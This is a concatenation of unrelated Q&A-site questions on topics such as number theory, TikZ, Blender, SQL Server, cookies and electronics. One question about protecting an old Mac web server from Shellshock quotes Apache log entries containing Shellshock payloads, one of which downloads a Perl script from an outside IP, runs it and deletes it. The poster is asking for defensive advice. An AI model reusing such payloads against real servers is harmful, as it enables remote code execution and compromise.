Solve $x^2 + x + 47 ≡ 0 \pmod {7^3}$.  I don't know how to go about doing this question. I've tried completing the square and other routes but I always seem to end up with horrible answers for $x$ involving surds.  Any help or hints are appreciated.
Using the quadratic formula, we have either 0, 1, or 2 solutions. I wonder if we could use it this formula for congruence? Or is there a formula to solve quadratic equation for congruence?  Edit Assume that $ax^2 + bx + c \equiv 0 \pmod{p}$, where $p$ is prime with $(a, p) = 1$, then is there a formula for this equation?    Thanks,
Bounding box is larger than expected when drawing a curved path I have been working on logo for my department and I have the following code. The problem is that whenever I compile the diagram seems to be larger than the actual logo. I do not know what is the problem. I know the numbers I have selected are not the best but any insights into the matter will be highly appreciated.   \documentclass[letterpaper]{article}  \usepackage[top=2cm,bottom=2cm,left=2cm,right=2cm]{geometry}  %\usepackage{amsmath,amssymb,units}  %\usepackage{enumitem,multicol}  \usepackage{tikz}  %\usetikzlibrary{arrows}  \usepackage{lipsum}   \begin{document}   \lipsum[1-2]  \begin{tikzpicture}[y=0.80pt, x=0.8pt,yscale=-1]  \path[draw=black,fill=white]    (258.9527,290.5199) .. controls (173.9885,538.4766) and (568.5860,261.2969) ..    (306.5098,257.1141) .. controls (44.4337,252.9312) and (429.9845,542.5624) ..    (352.9767,292.0206) .. controls (275.9689,41.4788) and (119.6549,497.6604) ..    (334.1376,346.9999) .. controls (548.6203,196.3394) and (66.4622,188.6439) ..    (276.0276,346.0724) .. controls (485.5930,503.5010) and (343.9169,42.5633) ..    (258.9527,290.5199) -- cycle;  \end{tikzpicture}  \lipsum[1-2]  \end{document}    See image below: Why is list initialization (using curly braces) better than the alternatives? What is the best way to remove texture from a scanned textured photo paper? I have a bunch of scanned old family photos where the photo paper has a texture. Unfortunately, the texture of the photo scans quite well. What is the best way to remove the texture?  (Photoshop CS5) Force "portrait" orientation mode Apple Shellshock patch for 10.6? I am running a small HTTP server (Apache) off my Mac mostly as a hobby. If it becomes compromised it isn't the end of the world but it is something I would certainly like to prevent. I set up a launchctl job to check the Apache log file for possible requests related to Shellshock and last night I received to two related entries:   82.221.128.246 - - [29/Sep/2014:08:14:41 -0400] "GET / HTTP/1.1" 200 2081 "-" "() { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\"" 173.45.100.18 - - [29/Sep/2014:00:52:07 -0400] "GET /cgi-bin/hi HTTP/1.0" 404 208 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""   The first one looks harmless and the IP hosts a very legitimate looking website claiming that their requests are for research purposes only. The second one is a different story though, it tries to download and run a Perl script. Fortunately I don't have wget installed so this attack didn't work but it seems like it's only a matter of time before I get a request like this that does some damage.  Apple just released patches for OS X 10.7 and latter but unfortunately I am running 10.6. What simple and reliable measures can I take (i.e. not ) to reduce my risks? Subgroup of $\mathbb{Q}$ with finite index Consider the group $\mathbb{Q}$ under addition of rational numbers. If $H$ is a subgroup of $\mathbb{Q}$ with finite index, then $H = \mathbb{Q}$.  I just saw this on our exam earlier and was stumped on how to show this. Any ideas? Why cant I navigate to lightning component in communities? Im on a lightning community, i have a lightning component and i want to open another component with this code:  navigateToMyComponent : function(component, event, helper) {     console.log('1');     var evt = $A.get("e.force:navigateToComponent");     console.log('2');     evt.setParams({         componentDef : "c:CompetenciaComponent"     });     console.log('3');     evt.fire();     console.log('4'); }   this its the console log:   NOTHINGS HAPPEND AND I DONT KNOW WHY UV coordinates on a deformed plane I added a plane to a scene, subdivided it, and deformed it with proportional editing:    I'd like to UV unwrap this plane, making the mapping what the would have been without the edit mode deformations. In other words, I'd like my UV map to look like a square grid.  Is it possible to UV map this deformed plane to a square grid? Or do I need to start from scratch, and make sure I unwrap it before I do the edits? Why do I get 'HDIO_GET_IDENTITY failed' message when booting with external usb hard drive? I've installed Ubuntu 11.10 on an external USB (2.0) Hard Drive (/dev/sdb1) but when Ubuntu starts I get a message that says:     ata_id[279]: HDIO_GET_IDENTITY failed for '/dev/sdb': Invalid argument   where I made a mistake? The first HD contains Windows 7 (the official OS of my packard bell notebook). I have a dataset with a large number of Yes/No responses. Can I use principal components (PCA) or any other data reduction analyses (such as factor analysis) for this type of data? Please advise how I go about doing this using SPSS. MAXDOP not working? I wanted to test out MAXDOP on my computer. So I set MAXDOP to 2 for a specific query. However, when I looked at my logical processors in Task Manager as I ran the query, it looked like they were all being used. I thought that it would only be using 2 logical processors if MAXDOP was set to 2? Does anyone know what is happening? Please see image below.  Another issue is, the DOP returned by the execution plan said 1. Now I know that setting MAXDOP does not mean SQL Server will actually use the number set. However, given that it seemed all my 4 logical processors were being used to process the query, it made it even more strange to see DOP 1.  This is the query I ran:   This was what happened as I ran it (i.e. it looks like all 4 logical processors are being used to run the query): Editing a question with only a JSFiddle link does not work I can't edit a question that has a jsfiddle link because it has a lack of code. Can we get privileged users able to bypass restriction? The question had some really poor formatting and linking and I couldn't fix it. :  Html is not taking the css code Some of my html tags are not reacting by the css which i gaved them for example is offerbox not reaction to the html part. all html parts down from offerbox are not taking the styles that i gaved the enter code here http://jsfiddle.net/8Bw7M/  pic from the html and css  I feel that as a privileged user, I should be able to make the changes needed. This is related, but I'm not adding any new links. What is the maximum size of a web browser's cookie's key? What is the maximum size of a web browser's cookie's key?  I know the maximum size of a cookie is 4KB, but does the key have a limitation as well? Information on month old flights Where can I get flight info for a flight a month ago for an insurance claim? Flight stat sites will only show a weeks worth of data. Repeating the consonant in many words in a sentence or phrase In the movie 'V for Vendetta' you have for example (bold part):     Evey: Who are you?        V. : Who? Who is but the form following the function of what and what I am is a man in a mask.      Evey: Well I can see that.        V. : Of course you can, I’m not questioning your powers of observation, I’m merely remarking upon the paradox of asking a masked man who he is.      Evey: Oh, right.      V. : But on this most auspicious of nights, permit me then, in lieu of the more commonplace soubriquet, to suggest the character of this dramatis persona.      V. : Voila!   In view humble vaudevillian veteran, cast vicariously as both victim and villain by the vicissitudes of fate. This visage, no mere veneer of vanity, is a vestige of   the “vox populi” now vacant, vanished. However, this valorous visitation of a bygone vexation stands vivified, and has vowed to vanquish these venal and virulent vermin, van guarding vice and vouchsafing the violently vicious and voracious violation of volition. The only verdict is vengeance; a vendetta, held as a votive not in vain, for the value and veracity of such shall one day vindicate the vigilant and the virtuous. Verily this vichyssoise of verbiage veers most verbose, so let me simply add that it’s my very good   honour to meet you and you may call me V.       Evey: Are you like a crazy person?      V. : I’m quite sure they will say so.   What do you call sentences like these? And do you know some other ones? How to Create a Half-Turn Staircase? I would like to create a half-turn staircase without a landing. Is there an easy way to accomplish this without having to manually calculate and create each step individually?  Here’s an image similar to what I would like to achive:    I have found the Archimesh add-on including . While I can bend the created stairs, I haven’t found any way to get anywhere close to the image above. My stairs just always look out of shape and I don’t know how to get the outline of the staircase into a square.  I should mention that I only have very little experience with Blender modeling, so it’s well possible that I’m just missing some curve modification basics. Perhaps Archimesh is also the wrong approach for this in the first place? Smallest positive element of $ \{ax + by: x,y \in \mathbb{Z}\}$ is $\gcd(a,b)$ Let $S = \{ax + by: x,y \in \mathbb{Z}\}$  and let $e &gt; 0$ be the smallest element in $S$. Prove that $e \mid a$, and hence prove that $e = \gcd(a,b)$  I'm afraid I can't provide much of my initial working here because I'm at a loss of how to start.  I suppose that to show $e\mid a$ I would have to show that $eg = a$ for some $g \in \mathbb{Z}$. But I have no idea how I would do this. What's the use of a decoupling capacitor near a reservoir capacitor? I've seen some circuits where a decoupling capacitor is used as well as a reservoir capacitor, like this (C4 and C5):    I've read about  and for me it looks as if they are meant to remove small fluctuations in the supply voltage. Then I thought - wasn't that the purpose of a  as well? Why wouldn't the reservoir capacitor be able to filter out the small fluctuations, if it is able to filter out the large fluctuations?  So I feel like I have a basic misunderstanding here. What is the purpose of a decoupling capacitor next to a reservoir capacitor, when we assume we place both equally near to the power consuming part? Or is the only advantage of the decoupling capacitor that it is smaller and can therefore be easily placed more near to the power consuming part? Why would I want to use Interfaces? I understand that they force you to implement methods and such but what I cant understand is why you would want to use them. Can anybody give me a good example or explanation on why I would want to implement this. Where can I ask about Software Licenses/Licensing?